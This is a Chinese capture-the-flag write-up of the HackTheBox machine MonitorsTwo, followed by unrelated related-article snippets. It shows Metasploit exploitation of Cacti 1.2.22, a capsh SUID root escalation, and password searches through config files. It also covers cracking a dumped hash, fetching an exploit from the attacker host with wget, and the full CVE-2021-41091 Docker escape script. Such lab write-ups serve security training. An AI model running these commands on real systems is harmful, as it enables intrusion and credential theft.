HTB:MonitorsTwo[WriteUP]

连接至HTB服务器并启动靶机

靶机IP:10.10.11.211

分配IP:10.10.16.7


信息搜集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.11.211 -r 1-65535

使用nmap对靶机开放端口进行脚本、服务扫描

nmap -p 22,80 -sCV 10.10.11.211


漏洞利用

使用浏览器访问靶机80端口

由登录界面下方注释可知,当前WebAPP为:Cacti 1.2.22

使用searchsploit搜索该WebAPP漏洞

searchsploit Cacti 1.2.22

启动Metasploit利用该漏洞

msfconsole

搜索该WebAPP相关利用模块

search Cacti 1.2.22

切换到该模块

use exploit/linux/http/cacti_unauthenticated_cmd_injection

需要配置选项:PAYLOAD、LHOST、LPORT、RHOSTS、RPORT

执行命令exploit或run即可getshell


特权提升

提升TTY

script -c /bin/bash -q /dev/null

查看根目录下所有文件,可见文件:.dockerenv这意味着我们在docker容器中

ls -a /

www-data@50bca5e748b0:/var/tmp$ ls -a /
ls -a /
.           bin   entrypoint.sh  lib    mnt   root  srv  usr
..          boot  etc            lib64  opt   run   sys  var
.dockerenv  dev   home           media  proc  sbin  tmp

通过Meterpreter上传一个linpeas.sh到容器中

upload linpeas.sh

meterpreter > upload linpeas.sh
[*] Uploading  : /home/kali/Desktop/temp/linpeas.sh -> linpeas.sh
[*] Uploaded -1.00 B of 805.42 KiB (0.0%): /home/kali/Desktop/temp/linpeas.sh -> linpeas.sh
[*] Completed  : /home/kali/Desktop/temp/linpeas.sh -> linpeas.sh

为linpeas.sh文件赋权

chmod 777 linpeas.sh

meterpreter > shell
Process 12228 created.
Channel 215 created.
script -c /bin/bash -q /dev/null
www-data@50bca5e748b0:/var/tmp$ ls
ls
linpeas.sh
www-data@50bca5e748b0:/var/tmp$ ls -l linpeas.sh
ls -l linpeas.sh
-rw-r--r-- 1 www-data www-data 824745 Nov 19 13:21 linpeas.sh
www-data@50bca5e748b0:/var/tmp$ chmod 777 linpeas.sh
chmod 777 linpeas.sh

直接运行该脚本

./linpeas.sh

在扫描到的SUID文件一栏存在/sbin/capsh文件

在GTFOBins中搜索该文件

尝试直接在容器中提权到root用户

/sbin/capsh --gid=0 --uid=0 --

www-data@50bca5e748b0:/var/tmp$ /sbin/capsh --gid=0 --uid=0 --
/sbin/capsh --gid=0 --uid=0 --
root@50bca5e748b0:/var/tmp# whoami
whoami
root


横向移动

检索靶机中所有与配置相关的文件

find / -name '*conf*' -type f 2>/dev/null | tee res.txt

逐个文件查看内容匹配字符password

cat res.txt | xargs -I {} sh -c 'cat {} | grep -i "password"'

尝试寻找该字符串cactiuser出处

xargs -I {} sh -c 'grep -m1 "cactiuser" "{}" && echo "Found in {}"' < res.txt

root@50bca5e748b0:/var/tmp# xargs -I {} sh -c 'grep -m1 "cactiuser" "{}" && echo "Found in {}"' < res.txt
<1 "cactiuser" "{}" && echo "Found in {}"' < res.txt
#$rdatabase_username = 'cactiuser';
Found in /var/www/html/include/config.php

查看/var/www/html/include/config.php文件内容

cat /var/www/html/include/config.php

获取了数据库cacti管理员root凭证

账户:root

密码:root

使用凭证及相关信息连接到数据库

mysql -h db -u 'root' -p'root' 'cacti'

列出所有表单

SHOW TABLES;

MySQL [cacti]> SHOW TABLES;
SHOW TABLES;
+-------------------------------------+
| Tables_in_cacti                     |
+-------------------------------------+
<...SNIP...>
| snmpagent_cache_notifications       |
| snmpagent_cache_textual_conventions |
| snmpagent_managers                  |
| snmpagent_managers_notifications    |
| snmpagent_mibs                      |
| snmpagent_notifications_log         |
| user_auth                           |
| user_auth_cache                     |
| user_auth_group                     |
| user_auth_group_members             |
| user_auth_group_perms               |
| user_auth_group_realm               |
| user_auth_perms                     |
<...SNIP...>
+-------------------------------------+
111 rows in set (0.001 sec)

这里的user_auth表单引起了我的注意,直接列出该表单数据

SELECT * FROM user_auth;

账户:marcus

密码:$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C

将哈希值写入文件中

echo '$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C' > hash

使用john进行哈希爆破

john hash --wordlist=../dictionary/rockyou.txt

账户:marcus

密码:funkymonkey

使用该凭证通过SSH服务连接到靶机

ssh marcus@10.10.11.211

查找user_flag位置并查看其内容

marcus@monitorstwo:~$ find / -name 'user.txt' 2>/dev/null
/home/marcus/user.txt
marcus@monitorstwo:~$ cat /home/marcus/user.txt
3cdce88c7f2a5678a8eb5bfe4f9dbb5f

USER_FLAG:3cdce88c7f2a5678a8eb5bfe4f9dbb5f


特权提升

/var/mail目录下找到marcus文件

国产化后

漏洞编号影响对象漏洞原因可能导致后果修复建议
CVE-2021-330335.11.14 版本之前的 Linux 内核与 DOI 定义的 CIPSO 和 CALIPSO 引用计数有关,存在释放后使用问题攻击者可写入任意值更新内核到 5.11.14 或更高版本
CVE-2020-25706Cacti 1.2.13 版本xml_path 字段的模板导入预览期间错误消息转义不当恶意代码注入网页,可能导致敏感数据被盗或会话劫持升级到 Cacti 1.2.14 或更高版本
CVE-2021-41091Moby(Docker 创建的用于软件容器化的开源项目)遍历目录内容并在权限限制不足的数据目录上执行程序权限问题被利用更新到 Moby(Docker 引擎)20.10.9 版本,停止并重启正在运行的容器
  • 我们已经进入了靶机系统中,而CVE-2020-25706是WebAPP漏洞所以这里不用管
  • 其次查看靶机系统内核版本
uname -a

marcus@monitorstwo:/var/tmp$ uname -a
Linux monitorstwo 5.4.0-147-generic #164-Ubuntu SMP Tue Mar 21 14:23:17 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

  • 5.4.0-147版本与CVE-2021-33033中受影响的5.11.14或更高版本不符

查看靶机系统内docker版本

docker -v

marcus@monitorstwo:/var/tmp$ docker -v
Docker version 20.10.5+dfsg1, build 55c4c88

由输出可见,靶机该版本docker受到CVE-2021-41091特权问题漏洞影响

尝试到Github中寻找该漏洞PoC

#!/bin/bashdocker_version=$(docker --version 2>/dev/null | awk '{print $3}' | sed 's/,//')
if [ -z "$docker_version" ]; thenecho "[x] Docker not found or an error occurred while checking the version."exit 1
fiIFS='.' read -ra ver_parts <<< "$docker_version"
IFS='.' read -ra min_parts <<< "20.10.9"is_vulnerable=true
for i in "${!ver_parts[@]}"; doif [[ "${ver_parts[i]}" -gt "${min_parts[i]}" ]]; thenis_vulnerable=falsebreakelif [[ "${ver_parts[i]}" -lt "${min_parts[i]}" ]]; thenbreakfi
doneif $is_vulnerable; thenoutput=$(findmnt 2>/dev/null)result=$(echo "$output" | grep "/var/lib/docker/overlay2" | awk '{print $1}' | sed 's/..//')if [[ "$result" =~ "/var/lib/docker/overlay2" ]]; thenecho "[!] Vulnerable to CVE-2021-41091"echo "[!] Now connect to your Docker container that is accessible and obtain root access !"echo "[>] After gaining root access execute this command (chmod u+s /bin/bash)"echo ""read -p "Did you correctly set the setuid bit on /bin/bash in the Docker container? (yes/no): " responseif [[ "$response" != "yes" ]]; thenecho "[x] Please set the setuid bit on /bin/bash in the Docker container and try again."exit 2fiecho "[!] Available Overlay2 Filesystems:"echo -e "$result\n"echo "[!] Iterating over the available Overlay2 filesystems !"while read -r path; doecho "[?] Checking path: $path"if cd "$path" 2>/dev/null; thenif ./bin/bash -p 2>/dev/null; thenecho "[!] Rooted !"echo "[>] Current Vulnerable Path: $(pwd)"echo "[?] If it didn't spawn a shell go to this path and execute './bin/bash -p'"echo ""echo "[!] Spawning Shell"cd "$path"exec ./bin/bash -p -ielseecho -e "[x] Could not get root access in '$path'\n"fielseecho -e "[x] Could not access or change directory to '$path'\n"fidone <<< "$result"elseecho "[x] There's no /var/lib/docker/overlay2 files ! Not vulnerable to CVE-2021-41091"fi
elseecho "[x] Docker version is greater or equal to 20.10.9, not vulnerable to CVE-2021-41091"
fi

攻击机通过python开启http服务

python -m http.server 6666

靶机通过wget将该EXP文件进行下载

wget http://10.10.16.7:6666/exp.sh -O exp.sh

为该文件赋权

chmod +x exp.sh

直接运行该EXP脚本

./exp.sh

marcus@monitorstwo:/var/tmp$ ./exp.sh
[!] Vulnerable to CVE-2021-41091
[!] Now connect to your Docker container that is accessible and obtain root access !
[>] After gaining root access execute this command (chmod u+s /bin/bash)

此处提示我们在docker容器操作root用户执行命令

chmod u+s /bin/bash

root@50bca5e748b0:/# chmod u+s /bin/bash
chmod u+s /bin/bash

回到SSH服务登录的marcus中回复EXP提问

Did you correctly set the setuid bit on /bin/bash in the Docker container? (yes/no): yes
[!] Available Overlay2 Filesystems:
/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged

[!] Iterating over the available Overlay2 filesystems !
[?] Checking path: /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
[x] Could not get root access in '/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged'

[?] Checking path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[!] Rooted !
[>] Current Vulnerable Path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[?] If it didn't spawn a shell go to this path and execute './bin/bash -p'

[!] Spawning Shell
bash-5.1# exit

通过EXP输出提示,我们进入它的指定目录下

cd /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged

重新启动Bash

./bin/bash -p

成功getshell

marcus@monitorstwo:/var/tmp$ cd /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged$ ./bin/bash -p
bash-5.1# whoami
root

查找root_flag位置并查看其内容

bash-5.1# find / -name 'root.txt'
find: ‘/proc/4515/task/4515/net’: Invalid argument
find: ‘/proc/4515/net’: Invalid argument
/root/root.txt
bash-5.1# cat /root/root.txt
3a46a93a5f2c49137b7972724fd00c05

ROOT_FLAG:3a46a93a5f2c49137b7972724fd00c05

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/886835.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Keepalived部署

Keepalived部署 安装配置单VIP模式配置master节点查看节点IP信息配置 keepalived.conf启动且加入开机自启查看是否生效 配置backup节点配置 keepalived.conf启动且加入开机自启查看是否生效 主备测试 多VIP配置 keepalived.conf查看IP 安装 dnf install -y keepalived配置 单…

ASCB1系列APP操控末端回路智能微断 物联网断路器 远程控制开关 学校、工厂、农场、商业大楼等可用

安科瑞戴婷 Acrel-Fanny ASCB1系列智能微型断路器是安科瑞电气股份有限公司全新推出的智慧用电产品&#xff0c;产品由智能微型断路器与智能网关两部分组成&#xff0c;可用于对用电线路的关键电气因素&#xff0c;如电压、电流、功率、温度、漏电、能耗等进行实时监测&#x…

微知-plantuml常用语法和要点以及模板?(note over、create、box,endbox、alt,else,end, autonumber)

文章目录 常见语法常用 线条类实线虚线斜箭头或奇数箭头 A ->(10) B: B->(10) A分割线&#xff1a;newpage 颜色类给箭头指定颜色 -[#red]->给某个note加颜色&#xff1a; note over Alice, Bob #FFAAAA: xxx给分组信息着色 alt#red 分组类alt xxx; else xxx; else xx…

采用python3.12 +django5.1 结合 RabbitMQ 和发送邮件功能,实现一个简单的告警系统 前后端分离 vue-element

一、开发环境搭建和配置 #mac环境 brew install python3.12 python3.12 --version python3.12 -m pip install --upgrade pip python3.12 -m pip install Django5.1 python3.12 -m django --version #用于检索系统信息和进程管理 python3.12 -m pip install psutil #集成 pika…

深入探讨 Puppeteer 如何使用 X 和 Y 坐标实现鼠标移动

背景介绍 现代爬虫技术中&#xff0c;模拟人类行为已成为绕过反爬虫系统的关键策略之一。无论是模拟用户点击、滚动&#xff0c;还是鼠标的轨迹移动&#xff0c;都可以为爬虫脚本带来更高的“伪装性”。在众多的自动化工具中&#xff0c;Puppeteer作为一个无头浏览器控制库&am…

【学术论文投稿】JavaScript 前端开发:从入门到精通的奇幻之旅

【中文核刊&普刊投稿通道】2024年体育科技与运动表现分析国际学术会议(ICSTPA 2024)_艾思科蓝_学术一站式服务平台 更多学术会议论文投稿请看&#xff1a;https://ais.cn/u/nuyAF3 目录 一、引言 二、JavaScript 基础 &#xff08;一&#xff09;变量与数据类型 &am…

Leetcode 最长回文子串

目录 解法1&#xff1a;递归算法 解法2&#xff1a;Map取同字母位置法 解法3&#xff1a;中心扩展法 解法4&#xff1a;动态规划法 解法5: Manacher算法 示例 1&#xff1a; 输入&#xff1a;s "babad" 输出&#xff1a;"bab" 解释&#xff1a;&quo…

SpringBoot(8)-任务

目录 一、异步任务 二、定时任务 三、邮件任务 一、异步任务 使用场景&#xff1a;后端发送邮件需要时间&#xff0c;前端若响应不动会导致体验感不佳&#xff0c;一般会采用多线程的方式去处理这些任务&#xff0c;但每次都需要自己去手动编写多线程来实现 1、编写servic…

WebStorm 2022.3.2/IntelliJ IDEA 2024.3出现elementUI提示未知 HTML 标记、组件引用爆红等问题处理

WebStorm 2022.3.2/IntelliJ IDEA 2024.3出现elementUI提示未知 HTML 标记、组件引用爆红等问题处理 1. 标题识别elementUI组件爆红 这个原因是&#xff1a; 在官网说明里&#xff0c;才版本2024.1开始&#xff0c;默认启用的 Vue Language Server&#xff0c;但是在 Vue 2 项…

Odoo :免费且开源的农牧行业ERP管理系统

文 / 开源智造Odoo亚太金牌服务 引言 提供农牧企业数字化、智能化、无人化产品服务及全产业链高度协同的一体化解决方案&#xff0c;提升企业智慧种养、成本领先、产业互联的核心竞争力。 行业典型痛点 一、成本管理粗放&#xff0c;效率低、管控弱 产品研发过程缺少体系化…

【Unity踩坑】出现d3d11问题导致编辑器崩溃

升级到Unity 6&#xff0c;有时出现下面这种D3D11的问题&#xff0c;会导致编辑器崩溃。 有人总结了这个问题的解决方法&#xff0c;可以做为参考&#xff1a; Failed to present D3D11 swapchain due to device reset/removed. List of Solutions - Unity Engine - Unity Dis…

数据库基础(MySQL)

1. 数据库基础 1.1 什么是数据库 存储数据用文件就可以了&#xff0c;为什么还要弄个数据库? 文件保存数据有以下几个缺点&#xff1a; 文件的安全性问题文件不利于数据查询和管理文件不利于存储海量数据文件在程序中控制不方便 数据库存储介质&#xff1a; 磁盘内存 为…

JMeter监听器与压测监控之Grafana

Grafana 是一个开源的度量分析和可视化套件&#xff0c;通常用于监控和观察系统和应用的性能。本文将指导你如何在 Kali Linux 上使用 Docker 来部署 Grafana 性能监控平台。 前提条件 Kali Linux&#xff1a;确保你已经安装了 Kali Linux。Docker&#xff1a;确保你的系统已…

集群聊天服务器(13)redis环境安装和发布订阅命令

目录 环境安装订阅redis发布-订阅的客户端编程环境配置客户端编程 功能测试 环境安装 sudo apt-get install redis-server 先启动redis服务 /etc/init.d/redis-server start默认在6379端口上 redis是存键值对的&#xff0c;还可以存链表、数组等等复杂数据结构 而且数据是在…

linux常用指令总结(附Vim编辑器学习总结)

本文是博主对Linux中经常用到的一些指令进行的总结&#xff0c;文章也附带了Linux中经常用到的Vim编辑器的一些基本知识和使用指令&#xff0c;觉得有帮助的朋友可以点赞收藏&#xff01; 本文会持续进行更新 linux常用指令总结 $ pwd # 查看当前终端所在…

w046基于web的古典舞在线交流平台的设计与实现

&#x1f64a;作者简介&#xff1a;多年一线开发工作经验&#xff0c;原创团队&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的网站项目。 代码可以查看文章末尾⬇️联系方式获取&#xff0c;记得注明来意哦~&#x1f339;赠送计算机毕业设计600个选题excel文…

阿里云轻量应用服务器可以用在哪些场景呢

在数字化转型的浪潮中&#xff0c;中小企业面临着如何快速、高效地上云的挑战。阿里云轻量应用服务器&#xff08;SWAS&#xff09;作为一款专为中小企业设计的云服务产品&#xff0c;提供了简单易用、经济实惠的解决方案&#xff0c;助力企业轻松实现云端部署&#xff0c;赋能…

爬虫开发工具与环境搭建——使用Postman和浏览器开发者工具

第三节&#xff1a;使用Postman和浏览器开发者工具 在网络爬虫开发过程中&#xff0c;我们经常需要对HTTP请求进行测试、分析和调试。Postman和浏览器开发者工具&#xff08;特别是Network面板和Console面板&#xff09;是两种最常用的工具&#xff0c;能够帮助开发者有效地捕…

【操作系统】每日 3 题(二十九)

✍个人博客&#xff1a;https://blog.csdn.net/Newin2020?typeblog &#x1f4e3;专栏地址&#xff1a;https://blog.csdn.net/newin2020/category_12820365.html &#x1f4da;专栏简介&#xff1a;在这个专栏中&#xff0c;我将会分享操作系统面试中常见的面试题给大家~ ❤️…

JSON.stringify的应用说明

前言 JSON.stringify() 方法将 JavaScript 对象转换为字符串,在日常开发中较常用&#xff0c;但JSON.stringify其实有三个参数&#xff0c;后两个参数&#xff0c;使用较少&#xff0c;今天来介绍一下后两个参数的使用场景和示例。 语法及参数说明 JSON.stringify()&#xf…